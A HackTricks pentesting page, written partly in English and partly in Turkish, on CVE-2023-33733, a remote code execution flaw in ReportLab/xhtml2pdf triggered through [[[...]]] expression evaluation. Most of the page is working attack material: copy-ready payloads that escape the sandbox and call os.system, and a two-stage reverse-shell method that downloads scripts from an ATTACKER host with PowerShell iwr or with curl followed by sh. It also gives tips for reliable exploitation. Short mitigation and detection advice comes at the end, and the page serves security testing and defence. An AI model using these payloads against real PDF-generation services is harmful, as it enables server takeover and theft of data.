hacktricks/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md

80 lines
7.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
This page documents a practical sandbox escape and RCE primitive in ReportLabs rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.
CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.
Ana noktalar
- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__.
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stability: Return a valid value for the attribute after execution (for color, use and 'red').
Ne zaman test edilmeli
- HTML-to-PDF dışa aktarma (profiller, faturalar, raporlar) sunan ve PDF metadata veya HTTP yanıt yorumlarında xhtml2pdf/ReportLab gösteren uygulamalar.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- PDF için HTTP yanıtı genellikle bir ReportLab generator yorumu ile başlar
Sandbox atlatması nasıl çalışır
- rl_safe_eval birçok builtin'i (getattr, type, pow, ...) kaldırır veya değiştirir ve __ ile başlayan veya denylist'te olan adları reddetmek için isim filtrelemesi uygular.
- Ancak, güvenli fonksiyonlar func.__globals__ olarak erişilebilen bir globals sözlüğünde yaşar.
- Gerçek builtin type fonksiyonunu kurtarmak için type(type(1)) kullanın (ReportLabın wrapper'ını atlatır), sonra karşılaştırma davranışı değiştirilmiş bir str türevi Word sınıfı tanımlayın, böylece:
- .startswith('__') → her zaman False döner (startswith('__') kontrolünü atlatır)
- .__eq__ ilk karşılaştırmada False döner (denylist üyelik kontrollerini atlatır) ve sonrasında True döner (böylece Python getattr çalışır)
- .__hash__ hash(str(self)) ile eşittir
- Böylece getattr(pow, Word('__globals__')) sarmalanmış pow fonksiyonunun globals sözlüğünü döndürür; bu sözlük import edilmiş bir os modülünü içerir. Ardından: ['os'].system('<cmd>').
Minimal exploitation pattern (attribute example)
Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- Liste-üretim (list-comprehension) formu rl_safe_eval için kabul edilebilir tek bir ifade sağlar.
- Sondaki and 'red' geçerli bir CSS rengi döndürür, böylece render işlemi bozulmaz.
- Komutu gerektiği şekilde değiştirin; çalıştığını doğrulamak için ping kullanın ve tcpdump ile izleyin.
Operasyonel iş akışı
1) PDF oluşturucuyu belirleyin
- PDF Producer xhtml2pdf gösterir; HTTP yanıtı ReportLab yorumu içerir.
2) PDF'ye yansıtılan bir girdi bulun (ör. profil bio/açıklama) ve bir dışa aktarma tetikleyin.
3) Düşük gürültülü ICMP ile yürütmeyi doğrulayın
- Çalıştırın: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
- Windows genellikle varsayılan olarak tam olarak dört echo isteği gönderir.
4) Bir shell kurun
- Windows için, güvenilir bir iki aşamalı yaklaşım alıntılama/kodlama sorunlarından kaçınır:
- Aşama 1 (indir):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Aşama 2 (çalıştır):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Linux hedefleri için benzer curl/wget iki aşamalı yöntem mümkündür:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notlar ve ipuçları
- Attribute context'leri: color bilinen bir değerlendirme yapılan attribute'tür; ReportLab işaretlemesindeki diğer attribute'ler de ifadeleri değerlendirebilir. Bir yer sanitize ediliyorsa, PDF akışına render edilen diğer yerlere (farklı alanlar, tablo stilleri vb.) bakın.
- Alıntılama: Komutları kompakt tutun. İki aşamalı indirmeler alıntılama ve kaçış sorunlarını büyük ölçüde azaltır.
- Güvenilirlik: Eğer dışa aktarmalar önbelleğe alınıyor veya kuyruğa alınıyorsa, önbelleğe takılmamak için payload'u biraz değiştirin (ör. rastgele yol veya sorgu).
Önlemler ve tespit
- ReportLab'i 3.6.13 veya daha yeni bir sürüme güncelleyin (CVE-2023-33733 düzeltildi). Dağıtım paketlerindeki güvenlik duyurularını da takip edin.
- Kullanıcı kontrollü HTML/işaretlemeyi xhtml2pdf/ReportLab'e doğrudan ve sıkı sanitizasyon olmadan vermeyin. Kullanıcı girişleri güvensizse [[[...]]] değerlendirme yapısını ve vendor-spesifik tag'leri kaldırın/engelleyin.
- Untrusted girdiler için rl_safe_eval kullanımını tamamen devre dışı bırakmayı veya sarmalamayı düşünün.
- PDF oluşturma sırasında şüpheli çıkış bağlantılarını (ör. uygulama sunucularından dışa doğru ICMP/HTTP) izleyin.
References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}